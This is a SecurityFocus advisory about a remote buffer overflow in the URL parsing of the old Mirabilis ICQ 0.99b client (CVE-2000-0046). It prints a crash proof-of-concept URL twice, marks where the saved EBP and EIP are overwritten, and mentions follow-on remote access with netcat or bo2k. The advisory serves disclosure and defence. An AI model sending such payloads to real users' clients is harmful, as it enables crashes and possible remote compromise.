ICQ URL Remote Buffer Overflow Vulnerability

Bugtraq ID:	929
Class:	Boundary Condition Error
CVE:	CVE-2000-0046
Remote:	Yes
Local:	No
Published:	Jan 12 2000 12:00AM
Updated:	Jul 11 2009 01:56AM
Credit:	This was discovered by and posted to Bugtraq by Drew Copley <[email protected]> on January 11, 1999.
Vulnerable:	Mirabilis ICQ 0.99 b v.3.19 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0 Mirabilis ICQ 0.99 b 1.1.1.1 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows NT 4.0 SP6a - Microsoft Windows NT 4.0 SP6 - Microsoft Windows NT 4.0 SP5 - Microsoft Windows NT 4.0 SP4 - Microsoft Windows NT 4.0 SP3 - Microsoft Windows NT 4.0 SP2 - Microsoft Windows NT 4.0 SP1 - Microsoft Windows NT 4.0
Not Vulnerable:

ICQ URL Remote Buffer Overflow Vulnerability

ICQ is an individual to individual chat network which has clients installed on millions of computers around the world. It is, by far, the most widely used and is vulnerable to a remote buffer overflow. When the Mirabilis ICQ client parses an url recieved from another user _inside of a message_, it does not perform bounds checking on the length of the url. Because of this, it is possible to overwrite the EIP ("instruction pointer", or return address, that was pushed onto the stack when the offending function was first called) and execute arbitrary and possibly malicious code stuffed inside the oversized URL on the target host once the url is clicked on.

This example string was taken from Drew Copley's Bugtraq post:

http://www.yahoo.com/sites.asp?^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^ Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^ Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^ Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^ Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^ Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð!!!!·P !^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð

(With no line breaks in the url string) !!!! is where EBP is overwritten, and the four characters after that are where EIP is overwritten.

The consequences of this being exploited can be a compromise of the target host in ways such as installing bo2k or netcat to allow for remote access and/or control. it is suspected that there are more similar unpublished vulnerabilities in the ICQ client. This was verified to crash Mirabilis ICQ client version .99b Beta v.3.19.

ICQ URL Remote Buffer Overflow Vulnerability

Sending the following URL (with no line breaks) in a regular message to a user will cause their ICQ to crash (just a basic proof of concept, no real malicious exploit code included here) if they click on it:

http://www.yahoo.com/sites.asp?^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^ Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^ Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^ Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^ Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^ Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð ^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð!!!!·P !^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð

ICQ URL Remote Buffer Overflow Vulnerability

Solution:
It is best to disable ICQ until a fix is released, or at least deny any contact from people you do not know.

Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

ICQ URL Remote Buffer Overflow Vulnerability

References:

• ICQ Homepage (Mirabilis)